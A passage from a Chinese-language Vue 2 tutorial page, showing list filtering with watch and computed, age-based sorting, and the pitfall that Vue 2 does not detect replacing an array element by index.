<li>最好使用每条数据的唯一标识作为 key，比如 id、手机号、身份证、学号等唯一值。</li>
<li>如果不存在对数据的逆序添加、逆序删除等会破坏顺序的操作，仅仅只是用来渲染列表，展示数据，使用 index 作为 key 也是没有问题的。</li>
</ul>
</li>
</ol>
</blockquote>
<h3 id="12-3-列表过滤"><a href="#12-3-列表过滤" class="headerlink" title="12.3 列表过滤"></a>12.3 列表过滤</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">&quot;UTF-8&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>列表过滤<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span><br>    <span class="hljs-comment">&lt;!-- 引入 Vue --&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span> <span class="hljs-attr">src</span>=<span class="hljs-string">&quot;../js/vue.js&quot;</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-comment">&lt;!-- 准备好一个容器 --&gt;</span><br><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>人员列表<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">&quot;请输入名字&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;keyword&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(person,index) in personsTemp&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;person.id&quot;</span>&gt;</span><br>            &#123;&#123;person.name&#125;&#125;-&#123;&#123;person.age&#125;&#125;-&#123;&#123;person.sex&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>使用 watch 实现</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 用 watch 实现</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;001&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;马冬梅&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">19</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;002&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周冬雨&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">20</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;003&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周杰伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">21</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;004&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;温兆伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">22</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;</span><br><span class="javascript">            ],</span><br><span class="javascript">            <span class="hljs-attr">personsTemp</span>: [],</span><br><span class="javascript">            <span class="hljs-attr">keyword</span>: <span class="hljs-string">&#x27;&#x27;</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">watch</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">keyword</span>: &#123;</span><br><span class="javascript">                <span class="hljs-attr">immediate</span>: <span class="hljs-literal">true</span>,</span><br><span class="javascript">                <span class="hljs-function"><span class="hljs-title">handler</span>(<span class="hljs-params">value</span>)</span> &#123;</span><br><span class="javascript">                    <span class="hljs-built_in">this</span>.personsTemp = <span class="hljs-built_in">this</span>.persons.filter(<span class="hljs-function">(<span class="hljs-params">person</span>) =&gt;</span> &#123;</span><br><span class="javascript">                        <span class="hljs-keyword">return</span> person.name.indexOf(value) !== -<span class="hljs-number">1</span>;</span><br><span class="javascript">                    &#125;)</span><br><span class="javascript">                &#125;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>使用 computed 实现</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 使用 computed 实现</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;001&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;马冬梅&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">19</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;002&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周冬雨&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">20</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;003&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周杰伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">21</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;004&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;温兆伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">22</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;</span><br><span class="javascript">            ],</span><br><span class="javascript">            <span class="hljs-attr">keyword</span>: <span class="hljs-string">&#x27;&#x27;</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">computed</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">personsTemp</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.persons.filter(<span class="hljs-function">(<span class="hljs-params">person</span>) =&gt;</span> &#123;</span><br><span class="javascript">                    <span class="hljs-keyword">return</span> person.name.indexOf(<span class="hljs-built_in">this</span>.keyword) !== -<span class="hljs-number">1</span>;</span><br><span class="javascript">                &#125;);</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.63ysbhet8ww0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="12-4-列表排序"><a href="#12-4-列表排序" class="headerlink" title="12.4 列表排序"></a>12.4 列表排序</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>人员列表<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text&quot;</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">&quot;请输入名字&quot;</span> <span class="hljs-attr">v-model</span>=<span class="hljs-string">&quot;keyword&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;sortType = 2&quot;</span>&gt;</span>年龄升序<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;sortType = 1&quot;</span>&gt;</span>年龄降序<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;sortType = 0&quot;</span>&gt;</span>原顺序<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(person,index) in personsTemp&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;person.id&quot;</span>&gt;</span><br>            &#123;&#123;person.name&#125;&#125;-&#123;&#123;person.age&#125;&#125;-&#123;&#123;person.sex&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 使用 computed 实现</span></span><br><span class="javascript">    <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;001&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;马冬梅&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">19</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;004&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;温兆伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">22</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;003&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周杰伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">21</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;002&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周冬雨&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">20</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">            ],</span><br><span class="javascript">            <span class="hljs-attr">keyword</span>: <span class="hljs-string">&#x27;&#x27;</span>,</span><br><span class="javascript">            <span class="hljs-attr">sortType</span>: <span class="hljs-number">0</span>,<span class="hljs-comment">// 0 代表原顺序，1 代表降序，2 代表升序</span></span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">computed</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">personsTemp</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-comment">// 过滤</span></span><br><span class="javascript">                <span class="hljs-keyword">const</span> arr = <span class="hljs-built_in">this</span>.persons.filter(<span class="hljs-function">(<span class="hljs-params">person</span>) =&gt;</span> &#123;</span><br><span class="javascript">                    <span class="hljs-keyword">return</span> person.name.indexOf(<span class="hljs-built_in">this</span>.keyword) !== -<span class="hljs-number">1</span>;</span><br><span class="javascript">                &#125;);</span><br><span class="javascript">                <span class="hljs-comment">// 排序</span></span><br><span class="javascript">                <span class="hljs-keyword">if</span>(<span class="hljs-built_in">this</span>.sortType !== <span class="hljs-number">0</span>) &#123;</span><br><span class="javascript">                    arr.sort(<span class="hljs-function">(<span class="hljs-params">p1, p2</span>) =&gt;</span> &#123;</span><br><span class="javascript">                        <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.sortType === <span class="hljs-number">1</span> ? p2.age-p1.age : p1.age-p2.age;</span><br><span class="javascript">                    &#125;);</span><br><span class="javascript">                &#125;</span><br><span class="javascript">                <span class="hljs-comment">// 返回</span></span><br><span class="javascript">                <span class="hljs-keyword">return</span> arr;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.2i47hm9zsog0.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<h3 id="12-5-数据更新时的一个问题"><a href="#12-5-数据更新时的一个问题" class="headerlink" title="12.5 数据更新时的一个问题"></a>12.5 数据更新时的一个问题</h3><p>现在我们就按下按钮，改变一个对象的内容</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">id</span>=<span class="hljs-string">&quot;root&quot;</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>人员列表<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">&quot;updateMa&quot;</span>&gt;</span>修改马冬梅的信息<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span><br>    <span class="hljs-tag">&lt;<span class="hljs-name">ul</span>&gt;</span><br>        <span class="hljs-tag">&lt;<span class="hljs-name">li</span> <span class="hljs-attr">v-for</span>=<span class="hljs-string">&quot;(person,index) in persons&quot;</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">&quot;person.id&quot;</span>&gt;</span><br>            &#123;&#123;person.name&#125;&#125;-&#123;&#123;person.age&#125;&#125;-&#123;&#123;person.sex&#125;&#125;<br>        <span class="hljs-tag">&lt;/<span class="hljs-name">li</span>&gt;</span><br>    <span class="hljs-tag">&lt;/<span class="hljs-name">ul</span>&gt;</span><br><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p>成功的写法，Vue 监测到了数据的变化</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;001&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;马冬梅&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">19</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;004&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;温兆伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">22</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;003&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周杰伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">21</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;002&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周冬雨&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">20</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">            ]</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">updateMa</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-comment">// 可以起作用</span></span><br><span class="javascript">                <span class="hljs-built_in">this</span>.persons[<span class="hljs-number">0</span>].name = <span class="hljs-string">&quot;马老师&quot;</span>;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.persons[<span class="hljs-number">0</span>].age = <span class="hljs-number">50</span>;</span><br><span class="javascript">                <span class="hljs-built_in">this</span>.persons[<span class="hljs-number">0</span>].sex = <span class="hljs-string">&quot;男&quot;</span>;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.6y2ryt7zby00.png" srcset="/img/loading.gif" lazyload alt="image"></p>
<p>监测失败的写法</p>
<figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs html"><span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">type</span>=<span class="hljs-string">&quot;text/javascript&quot;</span>&gt;</span><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 设置为 false 以阻止 vue 在启动时生成生产提示。</span></span><br><span class="javascript">    Vue.config.productionTip = <span class="hljs-literal">false</span>;</span><br><span class="javascript"></span><br><span class="javascript">    <span class="hljs-comment">// 创建 Vue 实例</span></span><br><span class="javascript">    <span class="hljs-keyword">const</span> vm = <span class="hljs-keyword">new</span> Vue(&#123;</span><br><span class="javascript">        <span class="hljs-attr">el</span>: <span class="hljs-string">&#x27;#root&#x27;</span>,</span><br><span class="javascript">        <span class="hljs-attr">data</span>: &#123;</span><br><span class="javascript">            <span class="hljs-attr">persons</span>: [</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;001&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;马冬梅&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">19</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;004&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;温兆伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">22</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;003&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周杰伦&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">21</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;,</span><br><span class="javascript">                &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;002&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;周冬雨&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">20</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;女&#x27;</span>&#125;,</span><br><span class="javascript">            ]</span><br><span class="javascript">        &#125;,</span><br><span class="javascript">        <span class="hljs-attr">methods</span>: &#123;</span><br><span class="javascript">            <span class="hljs-function"><span class="hljs-title">updateMa</span>(<span class="hljs-params"></span>)</span> &#123;</span><br><span class="javascript">                <span class="hljs-comment">// 不可以起作用</span></span><br><span class="javascript">                <span class="hljs-built_in">this</span>.persons[<span class="hljs-number">0</span>] =  &#123;<span class="hljs-attr">id</span>:<span class="hljs-string">&#x27;001&#x27;</span>,<span class="hljs-attr">name</span>:<span class="hljs-string">&#x27;马老师&#x27;</span>,<span class="hljs-attr">age</span>:<span class="hljs-number">50</span>,<span class="hljs-attr">sex</span>:<span class="hljs-string">&#x27;男&#x27;</span>&#125;;</span><br><span class="javascript">            &#125;</span><br><span class="javascript">        &#125;</span><br><span class="javascript">    &#125;);</span><br><span class="javascript"></span><br><span class="javascript"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span><br></code></pre></td></tr></table></figure>

<p><img src="https://cdn.jsdelivr.net/gh/yechen-ops/image-hosting@master/20210802/image.1wm6kitmgxmo.png" srcset="/img/loading.gif" lazyload alt="image"></p>
